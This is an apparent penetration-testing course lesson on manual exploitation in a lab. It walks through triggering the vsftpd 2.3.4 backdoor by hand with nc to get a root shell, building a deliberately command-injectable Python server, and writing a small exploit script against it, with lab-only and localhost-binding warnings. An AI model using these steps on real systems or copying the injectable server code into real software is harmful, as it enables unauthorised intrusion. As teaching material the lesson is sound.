Penetration testing
Step 120. Manual Exploitation 1: Attacking Without a Framework — Reproducing the Button’s Inner Workings by Hand
Level 2 — Introduction to Security and the Basics of Attack Skills | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: Steps 116–119 complete. You’ve detonated the vsftpd backdoor with Metasploit (Step 117), and you use nc freely (Step 119).
- What you need: Kali and MS2 (or a single Kali machine — you’ll run the mock server yourself), 2 terminals, a notepad
- Caution: ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
In Step 117 you merely told Metasploit the target and got a shell. Convenient, but "what request actually flew" remains inside a black box. When an interviewer or a senior teammate asks, "so what does that exploit actually do?", someone who has only pressed the button cannot answer. Today we set the framework down and reproduce one vulnerability with bare hands (nc and Python). And we learn "the language for explaining an attack" — the three-part summary: what input → what happens on the server → what result.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Manually trigger the vsftpd backdoor with nc alone, without Metasploit
- Build the principle of a vulnerable service (unvalidated input execution) yourself as a mock server
- Find and read the "target, port, command" parts of public exploit code
- Explain an attack process in three parts: "input → the server’s internal behavior → result"
- List what to check when a public exploit won’t run
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | A Kali shell + Python 3, nc (nothing new to install) |
| Today’s commands | nc target port, searchsploit keyword, python3 exploit.py |
| Concepts needed | Backdoor triggers, command injection, the structure of exploit code |
| Today’s artifact | A three-part manual-attack summary note + a principle-mocking vulnerable server |
2-1. The Meaning of "Manual" — Pressing the Process, Not the Button
A single run in Metasploit internally does this: TCP-connect to the target → send the input that triggers the vulnerability → connect to the backdoor/shell. A manual attack performs these three steps by hand, one at a time. Once you’ve done yourself what the framework did for you, you gain the eye to see "at which step it’s stuck" when the tool fails.
2-2. Backdoor Triggers — A Hidden Door That Opens Only to a Specific Input
Remember Step 117’s vsftpd 2.3.4 backdoor? Attempt a login with :) in the username, and the server quietly opens a root-privilege shell door on port 6200. Here the vulnerability’s essence is the structure "specific input (the smiley) → hidden behavior (port 6200 opens)." If you know the trigger string and the resulting port, setting it off takes not some grand tool but two uses of nc.
2-3. Command Injection — A Vulnerability That Executes Input as Program Commands
This chapter’s mock target. If a service executes user input as an operating-system command without validation, an attacker can plant a command inside "what was supposed to be data" and have it executed on the server. distcc’s (the distributed compile daemon) famous vulnerability is of this type — a shell command goes inside data masquerading as a compile request and gets executed as-is. In 3-2 today, we build this principle ourselves as a Python server.
2-4. Reading Public Exploits — searchsploit and Code’s Three Parts
Exploit-DB is the warehouse of public exploits, and Kali’s searchsploit keyword searches its local copy. Open the code and it’s mostly three parts — ① target setup (IP/port/variables), ② building the request that triggers the vulnerability, ③ receiving the result (shell connection, and so on). You don’t need to understand everything. Read only "which bytes go out to which port," and manual reproduction is possible.
3. Follow Along
3-1. The vsftpd Backdoor Barehanded — Reproducing What Metasploit Did
Let’s trigger the same vulnerability from Step 117, this time with nc alone. (The output below is a Screen example — verify it yourself in your Kali↔MS2 lab.)
Input (terminal 1 — planting the trigger)
nc MS2_IP 21
220 (vsFTPd 2.3.4)
USER hack:)
331 Please specify the password.
PASS x
Input (terminal 2 — connecting through the opened back door)
nc MS2_IP 6200
whoami
root
How to read it: the :) inside the username hack:) is the trigger. The login may fail — the backdoor reacts not to a successful login but to "a specific string inside the attempt." Keeping that connection open, knock on port 6200 from a new terminal and a root shell waits. This is exactly what Metasploit did for us in Step 117.
Why: doing the same vulnerability once with a button and once by hand makes you feel the fact that "a tool = automated hands." This contrast is today’s core experience.
3-2. Mocking the Principle — Building a Vulnerable Server That Executes Input Verbatim
So we can experiment with the same principle outside the lab, let’s reproduce the heart of distcc-type vulnerabilities in Python. Build it on Kali (this textbook measured it on an Ubuntu lab on 2026-09-09).
Input (vuln_cmd_server.py)
import socket, subprocess
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 3632)) # mimicking distccd's real port number
srv.listen(1)
print("vuln server listening on 3632", flush=True)
conn, addr = srv.accept()
data = conn.recv(4096).decode().strip()
# Vulnerability: executes input as a shell command without validation
out = subprocess.run(data, shell=True, capture_output=True, text=True)
conn.sendall((out.stdout + out.stderr).encode() or b"(no output)n")
conn.close(); srv.close()
How to read it: it takes the string that arrives on port 3632 and hands it to the operating system via subprocess.run(..., shell=True), with no validation. A normal service should treat input only as "data," but this server executes it as a "command." The insides of real vulnerable services harbor exactly this kind of mistake. Since it’s a simple design that handles one guest and exits, re-run it for each attack.
Caution: keep this server bound to 127.0.0.1 only. Open it on another address and your computer becomes a genuinely vulnerable server.
3-3. The Barehanded Attack — Planting a Command with nc
Input (terminal 1)
python3 vuln_cmd_server.py
Input (terminal 2)
printf "whoamin" | nc -w 2 127.0.0.1 3632
Output (measured 2026-09-09):
root
Restart the server, and this time send id.
Output (measured 2026-09-09):
uid=0(root) gid=0(root) groups=0(root)
How to read it: what we sent was merely data, yet it executed as a command on the server and the result came back. It executes with the privileges of the account that launched the server (root here) — the real lab’s distcc often runs as a restricted account like daemon, making this material for confirming the law "the privileges of the shell you get = the service’s running account" (organized into a comparison table in Step 121).
Why: without Metasploit, with Step 119’s single nc, we’ve completed "remote command execution." A vulnerability is, in the end, "a mistake in handling input," and an attack is sending the input that touches that mistake.
3-4. Reading Exploit Code — Imitating the Shape of Public Code
Python exploits on Exploit-DB mostly take this shape. Let’s read a miniature version written for our mock server.
Input (exploit_cmd.py)
import socket, sys
def exploit(host, port, cmd):
s = socket.socket()
s.settimeout(3)
s.connect((host, port))
s.sendall((cmd + "n").encode())
return s.recv(8192).decode().strip()
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 3632
cmd = sys.argv[3] if len(sys.argv) > 3 else "whoami"
print(exploit(host, port, cmd))
Input
python3 vuln_cmd_server.py & # restart the server
python3 exploit_cmd.py 127.0.0.1 3632 "cat /etc/hostname"
Output (measured 2026-09-09):
XI3492
How to read it: do you see the three parts from 2-4? ① target setup (host/port/cmd argument handling), ② building the triggering request (sending cmd + "n"), ③ receiving the result (recv). When you download a public exploit, these three places are exactly where you read first. However long the code grows, the skeleton is the same.
Why: and one more thing — try putting --help into this code and you get this error (measured 2026-09-09):
socket.gaierror: [Errno -2] Name or service not known
--help landed in the first argument (host) slot and failed address resolution. Most of the world’s public exploits have no friendly help. Reading the arguments’ order and meaning directly from the code — that is half of manual exploitation skill.
3-5. The Three-Part Summary — The Language for Explaining an Attack
This is the practice of summarizing today’s attacks into sentences. The format is fixed.
[Input] a login attempt with :) in the username / the string "whoami" to port 3632
[Server internals] trigger detected → shell opened on port 6200 / input executed as shell without validation
[Result] root shell obtained on port 6200 / command output returned to the attacker
How to read it: these three lines are the format used as-is in reports, interviews, and team sharing. "What input triggers the vulnerability," "what processing actually happens on the server," "what comes back to the attacker" — if you can state all three, you understand that vulnerability.
Why: pick an exploit for another service from Exploit-DB (with searchsploit) and summarize it in this three-part format. Even if you can’t read all the code, if you can fill in the three parts, you’ve read it enough.
4. Missions & Exercises
Mission — A Three-Part Manual-Attack Summary Note
- Succeed at 3-1’s manual vsftpd attack on Kali↔MS2, and write the trigger string and resulting port in your notes
- Build 3-2’s mock vulnerable server, and like 3-3, succeed with two commands other than
whoamivia nc (e.g.,id,cat /etc/hostname) - Search for one of MS2’s services with
searchsploitand open the exploit code - Mark in that code where ① target setup ② triggering request ③ result receiving are
- Summarize that vulnerability in three parts — "input → server internals → result" — and add it to your notes
Exercises
Exercise 1. State the three steps Metasploit’s run button performs internally.
Exercise 2. Explain, using the "trigger" concept, why the login may fail in the vsftpd backdoor attack.
Exercise 3. What is the exact single line that makes 3-2’s mock server vulnerable, and how should a normal service have handled the input?
Exercise 4. You ran a public exploit and got an address-related error (name resolution failure). What are the first two things to check?
Answers & completion criteria · expand/collapse
5. Model Answers & Completion Criteria
Mission Model Answer
A notes example (assuming you picked distcc):
[Manual attack 1] vsftpd 2.3.4 — after USER hack:) / PASS x, connect to port 6200 → root shell
[Manual attack 2] mock server (3632) — printf "idn" | nc → uid=0(root) confirmed
[Code reading] distccd exploit: target is the argv/host variable, triggering is the
shell command field inside the compile request, result is the bind/reverse
shell connection part
[3-part summary] Input: a command string disguised as a compile request
Server internals: the request executed as shell without validation
Result: command execution with the service account's (daemon) privileges → shell
How to verify: ① Did you get a shell without Metasploit logs? ② Did the mock-server attack succeed with two or more commands? ③ Does the three-part summary contain "input/internals/result" without omission? ④ Do the three parts you read from the code match the actual code?
Exercise Answers
Answer 1. TCP-connect to the target → send the input (trigger/payload) that triggers the vulnerability → establish the resulting connection (a shell, and so on). A manual attack performs these three by hand, one at a time.
Answer 2. The backdoor doesn’t look at whether the login succeeds; it only watches whether the string :) exists inside the login attempt. So even though authentication fails, the trigger fires and the door on port 6200 opens. A trigger is "a hidden behavior that reacts to a specific pattern in the input."
Answer 3. subprocess.run(data, shell=True, ...) — the line that executes a string received from the network as a shell command without validation. A normal service should have treated input only as data (without interpreting it as commands) and validated it against a list of permitted actions.
Answer 4. First, the order and count of arguments the code requires (did the target IP land in the first slot?). Second, whether the target IP/port variables have been changed to my lab’s addresses. Public code’s default values reflect the author’s environment, not your lab — and since much of the code has no help option, read the argument rules directly from the code (3-4’s gaierror case).
Completion Criteria Checklist
- [ ] I manually triggered the vsftpd backdoor with nc alone
- [ ] I built the mock vulnerable server and succeeded at command injection
- [ ] I can explain "privileges obtained = the service’s running account"
- [ ] I can find the three parts — target/trigger/result — in public exploit code
- [ ] When an argument error occurs, I can resolve it by reading the argument order in the code
- [ ] I summarized one attack in three parts (input → internals → result)
- [ ] I reconfirmed that these exercises are for my own lab only
6. Common Pitfalls & Fixes
Wall 1. No response at all when connecting to port 6200
Symptom: you sent the trigger, but nc MS2_IP 6200 is silent.
Cause: you dropped the trigger connection (port 21), or :) wasn’t delivered correctly, or you connected before the backdoor opened.
Fix: keep the port 21 connection open and knock on port 6200 from a new terminal. Confirm that :) is included exactly (colon + parenthesis).
Wall 2. A public exploit won’t run in my environment
Symptom: you downloaded someone’s code, ran it, and only got errors.
Cause: the target IP/port reflects the author’s setup, or there’s a Python version difference (2 vs 3), or a required library is missing.
Fix: ① fix the target variables to your lab’s addresses first, ② try running it with python3, ③ read the error message’s first line. Treat code as "a document to read," not "a thing to run," and the blockages shrink.
Wall 3. I passed –help and got a strange error
Symptom (measured 2026-09-09): python3 exploit_cmd.py --help → socket.gaierror: [Errno -2] Name or service not known
Cause: --help was interpreted not as a help switch but as the first argument (host), failing address resolution.
Fix: public exploits often have no help. Read the code’s argument-handling part (sys.argv) directly and supply them in order.
Wall 4. The mock server exits after being attacked once
Symptom: Connection refused on the second attack.
Cause: the example server is a simple design that handles one guest and ends.
Fix: re-run it each time. To make it keep accepting, wrap accept in a while loop — modifying it yourself is good practice too.
Wall 5. I opened the mock server on 0.0.0.0
Symptom: other machines inside the lab can also connect to my vulnerable server.
Cause: binding to 0.0.0.0 accepts connections on every interface.
Fix: always bind a practice vulnerable server to 127.0.0.1 only. Exposing a deliberately made vulnerability to the outside turns your lab into someone else’s practice ground.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Manual exploitation | An attack that performs connection, triggering, and result by hand, without a framework |
| Trigger | The specific input that wakes a vulnerability’s hidden behavior (e.g., :)) |
| Command injection | A vulnerability where input that should be data gets executed as a command |
| Three-part summary | Input → server internals → result — the standard format for explaining an attack |
| Service running account | What decides the privileges of the shell you get (the account the service runs as) |
| searchsploit | A search tool for Exploit-DB’s local copy |
Today’s Commands
| Command | What it does |
|---|---|
nc MS2_IP 21 then USER hack:) |
Plant the vsftpd backdoor trigger |
nc MS2_IP 6200 |
Connect to the opened backdoor shell |
searchsploit keyword |
Search public exploits |
printf "commandn" | nc -w 2 target port |
Plant a command into the mock server |
python3 exploit.py target port command |
Run the miniature exploit |
An Instinct More Important Than Commands
Today’s key sentence is "a tool is automated hands." Since you’ve reproduced what Metasploit does with two uses of nc, you can now see which step is stuck even when the tool fails. In the field, environments differ and public exploits far more often don’t run as-is — the person who survives then is not the one who knows the button but the one who knows the process.
And the three-part summary (input → internals → result) is also the defender’s language. Defenders must know "which inputs are dangerous" to block them. A person who can explain an attack can also design defense rules.
Once every box is checked, Step 120 is complete.
ONE STEP FURTHER
Finished this lesson?
Check the completion criteria, then mark your progress.